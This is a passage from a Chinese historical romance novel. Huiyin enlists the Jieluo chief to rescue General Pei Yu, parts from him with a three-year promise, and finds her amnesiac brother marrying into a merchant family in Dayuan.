徽音不肯放弃,踉跄着上前,“我知道您对十年前背叛的事耿耿于怀,可您应该也听过裴擎将军和裴彧的名声,如今匈奴四分五裂,乃是天赐良机,只要您和南朝再度联手,就能驱逐匈奴夺回失去的地盘!” 哈赤大笑起来,眼角的褶痕异常深刻,“匈奴可恨,汉人亦可恨!你们汉人,最不可信!” 眼见他要转身离去,徽音连忙出声制止他,“是不信,还是你不敢了!” 她浑身狼狈,身形纤弱的站在哈赤面前直视他。 哈赤眯起眼,“你说什么?” 徽音无所畏惧轻笑出声,“哈赤族长,你害怕了,当年因你决策失误导致族内青年惨死,被迫让出地盘带领族人迁徙,躲在这不见光的边缘之地,这十年的躲藏,已经让你的勇气消磨光了。” “别说了,快别说了。”哈赤的孙女回头面前祈求的看着徽音,“你会死的。” “我说错了么?”徽音微微蹙眉,她左手伤势严重,已经有些支撑不住了,她深吸一口气,不顾劝阻继续道: “你带着族人躲在这里就能偏安一隅独善其身吗?南朝这些年只有裴家坚定主战要消灭匈奴,裴家军驻守边境为你们缓解压力,可裴彧要是死了,裴家军就是一盘散沙,没了南朝压制的匈奴就会彻底成为草原的主宰,你以为你们还能活吗?” 哈赤嘴边的白胡须已经气得翘起,他打开上前扶住他的两人,脚步蹒跚的走向徽音,右手从腰后缓慢的抽出弯月银刀。 徽音嘴边依旧泛着笑,她似乎没看见哈赤一脸杀意凛然,她继续道:“你老了,活不了多久,可你身后这些人呢?男人会成为匈奴人的奴隶,比他们的牛羊猪狗还不如,女人就更惨了。” 她话音刚落,哈赤已经一脸阴沉的站在她面前,弯刀抵在徽音的颈上,嗓音极低,“你真的不怕死吗?” 徽音控制不住的发抖:“我怕死,很怕。” 哈赤一脸不信,一个怕死的,纤弱的女人居然敢深入草原腹地,孤身一人站在这里,对他大言不惭。 第75章 三年之约 哈赤眯着眼, 面前的女人柔弱到他一只手就能掐死。而且她长得非常好看,一个容颜出众的弱质女流,居然能躲过匈奴人来到草原腹地, 这本身就是一件匪夷所思的事情。 徽音手臂发疼难忍,她忍不住按上去缓解一二, 哈赤顺着她的目光看过去,就见她的左手微微扭曲,手掌不停的在颤抖,他神色一顿, 转身吩咐:“跟我进来。” 又对尚在呆楞的孙女和孙女交代些什么,他这次用的是羯罗族的语言, 徽音听不懂。 徽音跟随哈赤进了大帐, 这大帐与它低调的外表毫不相干,里头布置的绢布色彩明艳, 正中间的顶上居然开了一个天窗,阳光照耀下来,帐中顿时五光十色。 徽音眨眨被闪到的眼睛,脑中有片刻停滞,她方才在外面见到那些羯罗族人穿着打扮皆是浅色, 大帐外围都是用的素色布匹, 没想到内里居然如此的华丽。 哈赤回头让她坐下, 端着一个黄金打造, 手柄上镶刻满五颜六色宝石的酒壶来到徽音面前, 用纯金打造的金杯给她倒了杯热腾腾的羊奶。 徽音有些迟疑的接过金杯, 她确实没有想到,羯罗族居然如此富贵,这帐中但凡需要装饰的地方都镶满了金子和宝石, 她手中捧着的这盏羊奶莫名有些烫手。 很快,徽音就知道哈赤吩咐人去做了什么,他找人去请了一个巫医替她治伤。巫医虽然打扮有些怪异,治扭伤脱臼的手法却很熟练,只听得咔嚓一下,徽音错位的手臂恢复如初。 她神色惨白,额上的冷汗密密麻麻,整个人脱力的靠在胡椅上,那巫医从壶中挖了块泛着草药香味的药膏抹在她鼻子下,没过一会,徽音就发现手臂的痛楚消失,整个人精神奕奕起来。 哈赤在一旁笑眯眯的解释,“这人是我们族中医术最好的一个,那药膏是他用了十几种珍贵药材制成,平日里宝贝的跟什么似的。今日却给你用了,看来他很喜欢你啊。” 徽音被哈赤这诡异的笑容给怔住,从进帐开始哈赤就变得有些不对劲起来。巫医出去后,她出声问道:“哈赤族长,你这是?” 哈赤也没跟她卖关子,“我答应你出兵去救人。” 徽音面露喜意,却见哈赤继续道:“不过我救人有条件。” “您请说。” 哈赤坐在徽音对面,指着她胸口的狼牙吊坠询问:“这东西是裴彧送你。”不是疑问,而是肯定。 徽音点点头,手掌不自觉的抚上吊坠,疑问的看着哈赤,他是如何知道的? 哈赤很快就给她解惑了,他说这狼牙本是羯罗族之物,后被匈奴夺去,又辗转落到了裴彧手中。 徽音不禁握紧狼牙吊坠,揣测哈赤的意思,他说这话是想将东西要回去吗? 哈赤对狼牙不感兴趣,似乎只是为了求证,他转而问起了一件事:“我想知道,你们取得左贤王军情后,为何不返程?” 徽音有些不自然的垂下眼,“是因为我,我弟弟流离去了大宛,我想带着他回来。” 哈赤听完沉思良久,花白的胡须被他用双手梳理得根根分明,“我的条件是,你要作为人质留在羯罗族。裴彧看重你,你留在这里他就不敢轻举妄动。” 徽音自嘲笑笑,“也许我并没有这样的本事。” 哈赤哈哈大笑起来,笑着摇头,“你只说你答不答应?” 徽音沉默良久,艰难道:“我得去找我弟弟。” 哈赤:”这好办,此处离大宛不过三日路程,我让人送你去便是,但你不能同裴彧回南朝。在南朝彻底驱逐匈奴前 ,你都不能回去。” “我答应你。”徽音握紧狼牙吊坠,点头应允。 哈赤愉悦的梳理着他那把花白的胡须,语气有些不服,又有些郁闷,“我们羯罗族虽偏安一隅,却靠近大宛,若匈奴真的对我们动手,我们便可撤去大宛,并非你说的那样一无是处。” 徽音有些尬尴,顺着哈赤的话语夸赞,“我一届女子,浅薄无知,您莫跟我计较。” 哈赤回头瞥了徽音一眼,微笑不语。 徽音心中那股发毛的感觉再度涌上来,下一刻,她听见哈赤道:“若那裴彧不要你了,你就留在羯罗族嫁给我孙子吧。” 徽音:“……” 她艰难道:“您孙子的年纪比我应该小不少。” 哈赤笑呵呵,外头有人用羯罗语叽里呱啦的说了些什么,他扔下一句,“女大三,抱金砖。”就大步离去了。 徽音跟着他走出去,原本空旷的大帐外布满了黑甲骑兵,黑压压的一片,气势逼人。 她微微垂头隐在哈赤身后,没想到羯罗族还有一只如此精锐的骑兵,他们身上的羽甲和弯刀,坚硬锋利,比南朝的要好得多。 哈赤人虽年迈,在这种场景却丝毫不露怯,彷佛年轻了十多岁,身姿矫健的跨上马,扬刀高喝。 他的孙子哈庆牵着一匹黑马来到徽音跟前,眼神闪烁不敢直视徽音,有些结巴道:“你……也去。” 徽音接过缰绳,朝他感激的笑笑,翻身上马,“多谢。” 哈庆的脸微微泛红,他解下身后的包袱递给徽音,示意她打开。 包袱里面是一件羊毛织成的大红色披风,厚实保暖,徽音没有辜负他的好意,她抖开披风系在身后,朝哈庆微微点点,轻夹马腹跟着哈赤离去。 途径来处时,正好遇上等不及打算硬闯的方木,徽音连忙出声解救下他,同他解释原委,一行人朝着西边疾驰而去。 —— 太阳西沉,荒凉的草地上摇摇晃晃走来三个互相搀扶的男人,脚步蹒跚,彷佛风一吹就要被掀倒。 裴彧走在正中间,吃力的揽住已经脱力的其他两人,和徽音分别后,他引着鹰隼一路朝南走,路上用尽各种办法也无法甩头。他们身边没有水源和干粮,三匹马也相继脱力而死。 裴彧脚步踉跄一下,互相搀扶着的三人相继倒在地上,不省人事。 裴彧口舌干燥,唇色干枯,用尽全身力气也只能勉强翻个身,他仰头躺在地上,视线开始涣散。 夕阳落山的景色,真美啊。算算脚程,徽音她应该已经走到了安全的地方,此刻她是否也和他一样,正在看着这落日。 大地发出滚滚闷哼声,他静默的躺在那里,右手紧紧握住匕首,听这磅礴的声音,应是左贤王的军队到了。 裴彧有些讶然,落入这种地步他居然还能笑起来,过去那些年里,也不是没有落到过如此境界的地步,每次危在旦夕之时他都一点不怕,因为他坚信自己能活着。 今日却有些不一样,或许是真的要死在这里,像他父亲一样,长埋于这片土地。 裴彧用尽最后的力气坐起身,沉沉的盯着不远处被马蹄卷起来的烟尘,黑压压的人群朝他越来越近。 他还是有些遗憾的,要是能再见她一面就好了,要是他能活着就好了。 他还没来的好好补偿徽音,他说过要带着她弟弟回去了,却又一次食言骗了她。 裴彧听着耳边的声音越来越大,却越听越奇怪。按照骑兵的速度,应该早就能冲到他面前才对,为何过了这么久还没什么动静。 他睁开眼朝前望去,不知何时起,左贤王的部队左侧冲出一支训练有素的精兵,眨眼间就将左贤王的军队冲散开来。 裴彧眼神一凝,若他没看错的话,这支精兵应当是羯罗族人,为何会突然出现在这里,甚至还和左贤王交上了手。 他站起身,身上的泥沙簌簌往下落,目光忽在一个方向顿住,一支骑兵小队朝他的方向而来,当中一道朱红色的身影引人注目,裴彧胸前处如鼓点般激狂跳动,即使看不清那人的面容,他心中却早已有了答案。 徽音避开交锋的战场,一路朝哈庆给她指引的方向而去,离得近了,她终于捕捉到裴彧的身影,他沧桑了很多,唇瓣干燥起皮,站在一片杂草中呆愣楞的看着她。 她勒停马,取下马鞍上系着的水壶给干粮快速跑过去,接住裴彧摇摇欲坠的身躯,解开水壶递到他嘴边。 裴彧身躯呆滞,目光僵硬的跟着徽音的动作移动,嗓子沙哑得不成样子,“你怎么会在这里?” 徽音没回他,她朝身后招招手,哈庆带着人也跟过来,扶起了一边已经脱力的两名侍卫进行救助。她则转头看着裴彧,见他还是一副回不过神的样子,抬手捏着他的下巴开始灌水。 裴彧猛呛一口,倒在徽音怀中连连咳嗽。徽音轻轻拍着他的肩膀,神色焦急,在他耳边急速的交代完来龙去脉。 裴彧昏昏沉沉的看着她,仿佛像做梦一般,徽音没有离开她居然带着人回来救他了。 徽音匆忙的抬头看了一眼,羯罗族的骑兵已经逐渐开始靠近准备撤离,没有多少时间了。 她快速的拉着裴彧起身来到方木跟前,将人交给方木。她最后抬手摸了下裴彧的脸,声音在风里有些断断续续,“裴彧你有你的责任我有我的执念这是我们必须要去做的事情,有缘你我自会有再相见的一日。” 裴彧从方才开始脑袋就有些不清楚,他不明白现在是什么状况,直到他看见了徽音的眼泪,心中有些焦躁不安,紧紧抓着她的手不肯放。 “徽音,徽音。”他不知道要说些什么,心慌得可怕,只能不停的唤她的名字。 方木赶紧上前扶裴彧上马离去,直到此刻裴彧才反应过来,徽音不打算跟他们一起走了。他下颚咬得死紧,方木用尽全力都掰不开他握住徽音手臂的手掌。 他眼中落下泪,祈求的看着徽音,“你要去哪,你不跟我回去了吗?” 哈庆有些焦躁不安,他朝着徽音急速道:“祖父他们已经退兵了,我们得赶紧走,不能再耽搁了。” 徽音看着裴彧满是血丝的眼神,心中一痛,忍不住上前抱住裴彧,她含泪摸上他的脸庞,心中万般不舍,“你得回去,大家都在等你。” “你跟我一起走。”裴彧低低头抵着徽音的额,紧紧揽住她不肯松开。 “我要去大宛。”徽音推开裴彧,动作温柔的擦干他的眼泪,坚定道:“你回南朝,我去大宛,这是我们必须要去完成的使命。” 裴彧没说话,他紧紧的盯着的徽音,双眼如同困兽一般发红,“我不要,徽音,你别走,我求求你。” 他是那样的伤心,徽音见过他好几次的眼泪,却是第一次见他这样绝望,如同困兽之斗一般,紧紧盯着他,双眼猩红。 “我求求你……不要走。” 他的泪滴到徽音手上,是那样的炙热,一路烫到徽音心口。 徽音无视哈庆焦急的催促,上前轻柔的吻住裴彧的唇瓣安抚,她没有吻很久,离去前,她回头望了一眼裴彧,轻声道:“我等你来找我。” 她强忍难受翻身上马,不敢再回头看裴彧一眼,架马离开。 裴彧僵在原底,眼睁睁的看着那抹红色的身影离开,他想要追上去,身体却被身后的牢牢制住不能动弹。 身侧的方木还在不停的催促他上马,他额间青筋暴起,紧紧闭上眼,再睁开时已经恢复正常,变成那个冷静锐利的沙场将军。 裴彧动作矫健的翻身上马,冷静的吩咐方木追着徽音离开,他对方木道:“你去保护她,告诉她,最迟三年,我一定去大宛接她。“ 他说完,扬鞭策马离开,滚滚烟尘恢复平静。 夕阳西下,他和徽音就像两条不相交的平行线,一南一北消失的天边。 徽音和哈庆等人一路往大宛的方向赶去,还没走出去多远就听见身后有马蹄声赶上来,一行人停住马向后看去。 方木挥着手大喊着骑过来,“等等我!“ 徽音皱着眉等在原地,见他上前问道:“你怎么来了,裴彧呢?“ 方木抹开脸上的尘烟,呸呸两声,“女郎放心,少将军他已经同羯罗族人回转了,他吩咐我来保护你。“ 徽音闻言一怔,看向远方。 哈庆驭着马上前,他身量还没张开,在方木面前跟个没长大的小孩一样,汉语也有些蹩脚,方木竖着耳朵听了半天才听懂他说什么。 哈庆说:“我会保护好徽音,不需要你来。” 他抱臂冷哼,别以为他不知道这个异族打的什么注意,他得替少将军好好看着。 方木挤开哈庆的马匹,将他和徽音隔开,用在场所有人都能听见的声音跟徽音说:“少将军说,最迟三年,他一定来接您。” 徽音低头看着胸前摇晃的狼牙吊坠,微微抿唇,什么话都没说骑马离开。呼啸的狂风吹乱她的头发,徽音却久违的没有感受的寒冷,她胸口一阵生热,四肢发暖。 此处距离大宛并不远,羯罗族与大宛交好,两族间交易互通,很是相熟。有哈庆的领路,徽音等人一路顺利的进入大宛国。 大宛城墙不算特别高峻,却异常厚实,厚厚的黄土层压得严严实实,带着风沙痕迹,与中原城池相差甚远 一行人穿过高大的城门,一股混杂着牲口气息,烤馕香味与浓郁香料的热浪便扑面而来。 市井的喧嚣瞬间将人淹没,不比长安繁华差多少,街道两旁的房屋样式是中原从未见过的风景。 到处都是高鼻深目的商贩,用带着各种口音的胡语高声叫卖,他们的摊位上,摆放着来自安息的琉璃,天竺的宝石和各种从未见过的瓜果。 徽音和方木听不懂大宛的语言,好在哈庆等人都非常熟练,充作翻译,外族入境,首要通知的自然的当地的官员。 经过哈庆的解释徽音才了解大宛国的治理,这里和南朝不一样,是由多个城邦组成的,每个城邦首领被称作王。 此处是大宛的都城贵山,城中的首领被称作贵山王,他看在羯罗族的面子上对徽音等人表示友好,甚至愿意帮助她在城中寻找弟弟。 大宛王宫和未央宫的建筑风格更是相差甚远,没有未央宫的飞檐斗拱、雕梁画栋,却也自有一股巍峨气势。 离开王宫后,哈庆带着徽音来到他们族中平时往来交易暂时停歇的住所安置下来,连日来的奔波和疲惫让徽音完全忽略了这陌生的国度,一觉睡到第二天清晨。 大宛人与汉人和羯罗族人都不一样,他们的无关更加深邃立体一点,毛发旺盛,民风彪悍。 休整好后,徽音便让哈庆带着她和方木去都城市集闲逛,她想快速的了解这个国家的风俗人情。 贵山王虽愿意帮她寻找弟弟,但徽音并不将全部的希望放在他身上,大宛距离南朝甚远,这里的汉人更是稀少,若是景川他们来了这里,一定有迹可循。 虽然昨日进城时这个种族已经给徽音很大的震撼,今日的深入了解更是让她吃惊。她不禁想着,若是这些奇珍异果被引进南朝会怎样?还有那些优良品质的马匹,织造工艺完全不同的布料。 更重要的是,大宛的冶铁技术比南朝要发达的多,徽音那天看见羯罗族精锐所配置的盔甲和精铁刀就是出自大宛。 方木眼花缭乱,一脸兴奋的在徽音耳边说这大宛的马匹有多好,精铁有的纯。哈庆看不过眼,正是少年人气焰嚣张的年纪,很快就和方木拌起了嘴。 徽音彷佛带了两个幼稚孩童出门,在她耳边叽叽喳喳没个停歇。 直到月上梢头三人才回到住所歇息,徽音将白日买回来的一些稀奇古怪的玩意摆开,当中有一块精铁打造的弯月匕首,明亮锋利,刀柄上雕刻着精美的古老图腾。她一眼就瞧上了。 身在外域,语言不通,难免会遇上一些危险,何况她容色出众,需得有一把防身的武器。 徽音将匕首仔细的擦干净,小心的收拢在包袱着,准备洗漱歇下。 门外传来敲门声,徽音掀被的动作一顿,起身走到门口询问,“是谁?” 听到方木的声音后她才放下心开门,并非她不信任哈庆等人,只是她和方木更为相熟,并且肯定方木一定不会伤害她。 徽音:“这么晚了,有事吗?” 方木神色纠结,动动嘴又闭上,不好意思的摸着后脑勺。 徽音:“直说便是。” 方木一闭眼,倒豆子般吐露出来,“今日是少将军的生辰,我本不想说的,但是我想你应该会愿意知道的。” 徽音抬头看着朦胧洒下的月色,唇边带着浅浅的笑容,“我知晓了,多谢你。” 方木走后,徽音放弃了立刻休息的打算,她抱着那柄匕首坐到窗边,天上的圆月异常的圆满,黄澄澄的,美轮美奂。 她想起来了,今日是十五,合家团圆之际,不知裴彧是否已经回了代郡,是否安好。 他现在是不是也和她一样,看着这轮明月。 —— 代郡巍峨古朴的城墙上,独身立着一个人影,形影单只。在他的身后,是满城烟火,欢声笑语。 他孤寂的站在原地,目光沉沉的望着远方,目光渊远流长。 驰厌放慢脚步上落,恭敬的站在裴彧身后,拱手道:“少将军,东西已经全部寄回长安了,现在就等那边的传令了。我已派人好生将颜娘送回荆州,不日便能抵达。” 裴彧微微颚首,望着高悬的月亮,眼眸露出深刻的思念之色。 驰厌没忍住问道:“您不回长安,陛下能同意出兵吗?” “会的。” 裴彧嘲讽的勾勾唇,会的,陛下看见他送回去的军报一定会同意出兵的。他了解这位帝王骨子里的霸道和专权,匈奴四分五裂,趁此机会将他们彻底屈服,这等青史留名,卓绝的政绩,他一定不会放过的。 他幽幽的望着远方,眼中像是有两簇燃烧的火焰,异常明亮。 她现在如何了,是否有安全的抵达大宛,找到弟弟了吗? 第76章 宋景川 入乡随俗, 徽音等人抵达的大宛的第五天,已经完全融入了当地的风俗民情,若不仔细打量五官, 只看穿衣打扮,丝毫看不出他们是外乡人。 这日, 徽音和方木一人拿着一块切开的甜瓜坐在卖货郎旁边打量往来的人群,前天贵山王给他们递来消息,说是在这里见过几个陌生的汉人出没,徽音便带着方木日日蹲守在这里碰碰运气。 起初两人刚来时, 周围的大宛像是看见了什么稀奇古怪的玩意,将两人围在包围圈里有趣的打量, 徽音和方木刚开始都有些尬尴, 时间久了就完全接受了。 来了这几日,连猜带比划之下, 徽音基本能听得懂大宛人的语言,他们很好客,每次总要给徽音和方木塞些吃的。 旁边传来一阵欢呼声,徽音和方木同时转头看去,不远处的夯土广场上, 人声鼎沸, 里三层外三层的围满人。 两人被这阵敲锣打鼓的声音吓住, 徽音捂着耳朵朝身侧开心的货郎打听什么情况, 一通虾同鸡讲, 手脚比划之下, 徽音和方木才领会意思,这阵仗是大宛人成亲的婚仪。 她饶有兴趣的看了会,根据衣着和头饰判断出走在最前方的一男一女就是这场婚礼的主角, 只是她越瞧越觉得那男人眼熟的紧。 周围看热闹的人不少,徽音奋力的踮起脚去看新郎官的脸。旁边的方木突然惊叫出声:“这新郎官怎么像是个汉人啊!” 徽音听闻再顾不得什么,扒开人群灵活的挤进去,眨眼消失在人群里。方木发现她不见了后惊出一脑门的汗,短短几息之间已经想到了自己的七八种死法。 他连忙大喊徽音的名字,终于在人群最前方看见了徽音的身影,连忙跟着挤进去。 徽音丈着身量小一路挤上前,那队新人刚好走到她面前,让她清清楚楚的看清了男人的脸,正是她那失踪一年的亲弟弟,宋景川。 此刻他正穿着大宛国的新郎服饰,一身崭新的朱红色锦袍,袍子上用金线绣着奔腾的天马,在火光下闪闪发光。他笑得眯起眼,正同身侧的大宛人打着招呼。 新娘则被一顶华丽的金丝锦纱完全覆盖,纱上无数小铃铛随着她细微的动作,发出细碎清脆的声响。 徽音深吸一口气,发出此生最大的音量,“宋景川!你给我过来!” 热闹的人群虽然听不懂这句话,但明显被这道响音给震住,慢慢安静下来。 身为新郎官的“宋景川”猛然在此地听闻汉语,虽然那道声音喊的不是他的名字,他却依旧浑身一震,朝着声音的方向望去。 那是一个长相极为好看的女子,气息又急又重,胸口剧烈地起伏着,双眼含怒瞪着他,很是生气。 “宋景川”不自在的摸着头,他并不认识这个女子,此刻被她这样看着,彷佛被她天然的压制,有些害怕的低下头。 好不容易挤进人群的方木也听见这道声音,他心中一惊,连忙挤到徽音身边去看,那大宛的新郎官无疑是个汉人,年纪不大,看眉眼与徽音有几分相似。 他吃惊的张大嘴,声音都有些变调,“宋景川?” “宋景川”此时才发现这两人是在叫他,他迟疑的走上前,指着自己道:“你们认识我吗?我以前叫宋景川?” 徽音终于从震惊中会过神来,看着面前的弟弟完全不认识她的模样,心沉入谷底。她指着自己道:“我是你阿姊宋徽音,你是我阿弟宋景川,我们从小一起长大,你全然不记得了吗?” “宋景川”面露歉意,摇摇头,“我摔坏了脑袋,不记得从前的事情了。” 这时,他身边站着的那个大宛新娘猛的掀开头上的金丝锦纱,一脸防备的走上前,隔开“宋景川”和徽音的视线,用着大宛语叽里呱啦的不知道在说些什么。 但从她的表情来看,似乎很介意“宋景川”和他们接触。 那姑娘身后走出来一个蓄了一圈络腮胡的大宛人,五官深刻,说着蹩脚的汗语:“你们认错人,他不是你要找的人。” 说完,他就回头对宋景川和那姑娘解释几句,催促队伍往前走,继续举行婚礼。“宋景川”迟疑的看了眼徽音,被那姑娘拉着离开。 徽音连忙拉着方木追上去,她好不容易找到了弟弟,绝不会让人轻易带走。 那个络腮胡早有准备,叫了三个大宛人将徽音两人拦住,方木虽有武功傍身,但那三人身形高大,又要护着徽音不受伤,一时间落了下乘。 徽音被死死的拦住,眼睁睁的看着弟弟被人带着,她怒极大喊:“宋景川!你给我回来!” 被拉开的“宋景川”浑身一震,不顾周围的劝阻折返回来,拉开拦住徽音的壮汉,望着徽音情绪起伏,颤声唤了句:“阿姊。” 他什么都没记起来,见徽音的第一眼就觉得她很是面熟,不自觉的想要亲近她。尤其是徽音唤他的两声名字,更加让他确信,他们是姐弟无疑。 原来他不是没有家人,不是没有来处,他叫宋景川。 —— 看着面前的三人,徽音难得的不知如何开口,她与宋景川相认后,自然是坚决反对他和那个大宛姑娘的婚事。 在她的认知里,大宛只是暂时的落脚之地,她始终是要带着阿弟回南朝。至少要让他回荆州,跪在阿父阿母的门前磕个头,上柱香。 若是和大宛女子成婚生子,以后岂不是是留在大宛。 在她的面前,宋景川和那个大宛姑娘紧挨着坐在一起,两人局促的盯着徽音,彷佛她是一个棒打鸳鸯的恶人。这姑娘长相秀丽,她叫诃诗。 他们两人身边,坐着的正是那个络腮胡,他是诃诗的父亲,大宛商人。 据诃诗交代,她是在一个多月前和父亲出去走商路的途中见到的宋景川,当是宋景川昏迷不醒不成人样的倒在草原里,是她不顾父亲的阻拦救下了宋景川,将他带到大宛悉心照料。 她喜欢宋景川,向他求了婚,想让他留在大宛。 诃诗说完后,祈求的看着徽音,用大宛语快速的说了一堆话,然后焦急的望着自己的父亲。 络腮胡帮她翻译:“诃诗说,她很喜欢你弟弟,希望你不要拆散他们。” 徽音望着诃诗希冀的眼神,转头去看宋景川,有些迟疑的开口:“你是怎么想的?” 她虽然不希望弟弟和诃诗成婚,但景川已经长大了,他虽然失去了记忆,眼神却还是一如往昔,如果他坚持要娶诃诗,徽音也不会阻拦。 宋景川先是看了眼诃诗,然后紧紧握住她的手,下定决心,“是我自己答应要和诃诗成婚的,没人逼迫我,我愿意和她成亲。” 诃诗虽然听不懂宋景川的话语,但她却明白了他的意思,喜极而泣的扑在他的怀中。 徽音淡淡点头,又问:“你娶她,是喜欢她还是因为她救了你要报恩?” 诃诗依旧听不懂,只感觉到宋景川身体一僵,她父亲的脸色也变得难看起来,她顿时有些手足无措。 宋景川见状连忙握着她的手安抚,而后抬眼看着徽音,冷静道:“若说喜欢自然是不太现实,说了报恩也不完全是。” 他顿了顿又道:“我不记得从前的事情,只在代郡生活了几个月就被掠去了匈奴,在那里……” 宋景川回忆起在匈奴的时候,不禁打了个寒颤,“我原以为我会死在匈奴,结果命大活了下来,被诃诗所救精心照顾,记忆中全是流亡的日子,我想有个家。” “阿姊,如果你没有出现的话,我会和诃诗成亲,留在大宛。” 徽音心像是从油锅里滚了一圈,她忍不住问:“现在我找到了你,你现在依旧愿意和她成亲,你是不想跟我回南朝了吗?” 宋景川眼神万分纠结,“阿姊若是想我回去的话,我会回去一趟的。” 徽音微不可查的眨眨眼,胡乱点点头,没再说什么起身离开。她怕再留下来,心中会忍不住埋怨他。 “阿姊……”宋景川在身后小声的叫着。 徽音摆摆手,独自一人出了门,她没走太远,离开那三人的视线后靠着角落蹲了下来。她怎么也没想到,千辛万苦找了弟弟,他却不愿意再回去了。 徽音埋首在膝上,无声流泪,她一直以为景川在等她,在等她去救他。所以再多的苦再多的累徽音都不怕,她咬着牙,经历了那么多终于来到这里,找到了弟弟。 可是弟弟已经有了新的生活,他忘记了过去的一切。 徽音不怪他,对于现在的景川而言,她虽然是姐姐,却是一个陌生无比,毫无记忆的姐姐,自然比不上救下他的诃诗亲厚,他选诃诗理所应当。 她不知道该不该将过去的一切告诉他,让他再度记起那段伤心的回忆,再经历一次父死母丧的痛苦。 徽音不清楚自己在外面待了多久,她看见宋景川满脸担忧的走出来,轻轻坐在她身边,声音轻得像风,他说:“阿姊,你对我失望了吗?” 徽音顿时泣不成声,她泪眼朦胧的望着宋景川,这一年里,他黑了很多,脸上也多了几道细小的鞭痕,曾经白皙的手掌上面全是冻伤。 她不能想象,寒冬腊月里,他在匈奴那里过着怎样的日子。 “没有失望,阿姊只是……不知道该跟你说些什么?” 徽音闭上眼,任由眼泪滴落,她想通了,现在这样也很好,就让他什么都不知道的生活下去,和他喜欢的姑娘,在这里过着喜欢的生活。 宋景川从怀中取出一块奶白糖递给徽音,“阿姊能和我讲讲我们家是什么样子的吗?” 徽音接过那块奶糖塞入口中,奶糖香甜浓郁,让人不自觉忘记难过。 她笑着道:“我们父母早亡,从小在族中长大,族内对我们不是很好。长大后,我就带着你去了长安,一次疏忽导致你坠崖失踪,流落去了代郡。” 宋景川静静地的听着,面色有些可惜,他还以为父母尚在人世,“那我们还有其他亲人吗?” “还有舅父一家,他们过得很好。” 宋景川放下心,安静的靠在墙上,不知为何心中泛酸。他侧头看着徽音疲惫的神色,不禁问出声:“阿姊一路追寻我来到大宛,一定吃了很多苦吧。” 徽音想起了裴彧,来的路上他很照顾她,苦虽然也吃了,但不多。她摇摇头,不再开口。 宋景川握住徽音的手掌,轻声道:“阿姊,我们留在这里,让我以后来好好照顾你,好不好?” 徽音抽回手,笑着拍拍他的脑袋,“我暂时也离不开这里,至于以后,再说吧。” —— 三日后,徽音看着宋景川和诃诗成亲,方木劝了她很多次,让她把真相告诉宋景川,只要宋景川得知过往,一定不会答应和诃诗成婚,老老实实跟着他们回南朝去。 徽音看着人群中笑得开怀的景川,闻言拒绝了。就算她告诉景川真相,他会答应跟她会南朝去,也会选择和诃诗成亲,他会努力平衡这两件事情之中的矛盾,会过得很累。 索性宋家大仇得报,徽音也不想强迫他什么,每个人都有自己的路要走,她不想像裴夫人那样,打着对你好的旗号,擅作主张。 她只是有些惆怅,曾经那个跟着她身后乱转悠的弟弟,一眨眼间居然要成亲了,也许很快连孩子都有了。 徽音抬头看了眼天色,想着等回了南朝后,她一定要去父母坟前上柱香,告知他们这件事情,好让他们安心。 方木小心翼翼问:“你弟弟不走了,那你呢?” 万一徽音也起了心思不想回去了,留在此地嫁人生子,那他怎么办?是跟着他们一样在这里落根,还是回去向少将军请罪? 徽音垂眼看着胸前的狼牙吊坠,没有给他回答,因为她也不知道是会留下,还是回去。 何况现在,他们也回不去了。 大宛这边已经接到了战报,南朝和匈奴正式开战,南朝在代郡等边关陈兵十万,要求于勒立马归还南朝的和亲公主睢阳,否则就要向匈奴开战。 于勒自然不愿,这理由也只是南朝的一个的借口,在于勒拒绝后,南朝便派兵打进了草原。大宛离得远,很多战报都不甚清晰,只知道,南朝的主将是一个姓裴的将军。 方木听闻照顾消息异常欣喜,跑到徽音面前又唱又跳的,捂着脸哭道:“少将军没有忘了我们!他没有忘了我们!他很快就会来接我们回家了!” 徽音忍不住给他泼冷水,“按照现在这个情况,这场仗要打很久。” 她没有说错,这场仗持续了很久都没有结束。宋景川和诃诗成亲后,在诃诗的帮助下,徽音和他都学会了大宛了的语言,络腮胡对宋景川也很好,逐渐把商队的事宜慢慢交给他去干。 匈奴和南朝开战后,羯罗族人也参与了进去,哈庆被召回了族内,没有在监视她和方木了。 徽音不愿意坐在家中等消息,她对那些稀奇古怪的奇珍异宝很好奇,这些东西都是在南朝没有见过的。 她心中渐渐有了个想法,匈奴如果能够被顺利驱逐,那么南朝和大宛之间的这条通道就会被开启,两国之间可以进行贸易往来,这些没有的东西就都能传去南朝,造福百姓。 从那天起,她就带着方木和宋景川一起辗转于各个国家之间,运回了不少奇珍异宝。不过令人尴尬的是,她和方木身无分文,哈庆留下的那些财物早已被他们花光。 好在络腮胡很大方,对她这个亲戚很照顾,那些被徽音留下的东西都没找她收钱。诃诗更是将她自己攒的银钱拿出来给徽音去置办东西。 很快,时间一晃而过,三年后,大宛城中热意沸腾,战争结束,战意彪悍的匈奴人失去了重要的漠南牧场,被人驱逐到漠南。 消息传来的时候,徽音正在家中照顾她那刚满两岁,正是好动年纪的可爱侄女,这小丫头名叫颢灵,她是景川和诃诗成婚后生下的女儿。 三个月前,诃诗意外摔伤了胳膊,徽音不放心她一个人在家,便留下来照顾她们母女,络腮胡则带着景川和方木出去走商。 徽音爱极了这个小丫头,这个丫头长得像极了她,生的玉雪可爱古灵精怪的,叫人爱不释手。 小丫头虽然闹腾,却也很懂事,倒没给徽音添什么麻烦,就是晚上入睡前日日闹着要听故事。这三个月来是徽音照顾她,她也很黏徽音,白日里跟条小尾巴似的在徽音身后乱窜。 隔壁院子里的邻居来给徽音送些自制的吃食,同徽音闲话片刻,将匈奴打败的消息一股脑的说给徽音听,彼时徽音差点砸了手中的碗,还好脚底下坐着一个跟屁虫,眼疾手快的抱住碗。 邻居见状夸了几句颢灵真聪慧,徽音才回神,见颢灵还坐在地上抱着碗笑呵呵的,她吓了一跳,连忙抱起颢灵检查她有没有受伤。 得知消息的徽音心神不宁,三两句送走了邻居,再把颢灵扔给她母亲照看,匆匆忙忙的上街去打听消息。 她才刚出门,正好碰上贵山王派来请她去王宫的侍卫,贵山王对待徽音比以往还有些和善,他开门见山的说明自己的来意。原来是匈奴退去了漠南,他也起了想法想打通和南朝的贸易。 徽音和他详细了说明了南朝的情况,并从他口中确切的得知,在这一战中,南朝确实是胜了,匈奴已经迁居去了漠南。 她等这个消息等了三年。 徽音回到家中,沉寂的心活络起来,她想念南朝,想念那里的风俗人情,也想念那里等着她的人。 她恨不得此刻就走上启程回家的路,徽音强压住心中的澎湃,络腮胡带着景川他们这躺出去还没有多久,至多还有一个月才能回来。她一个人是上不了路的,只能等着他们回来。 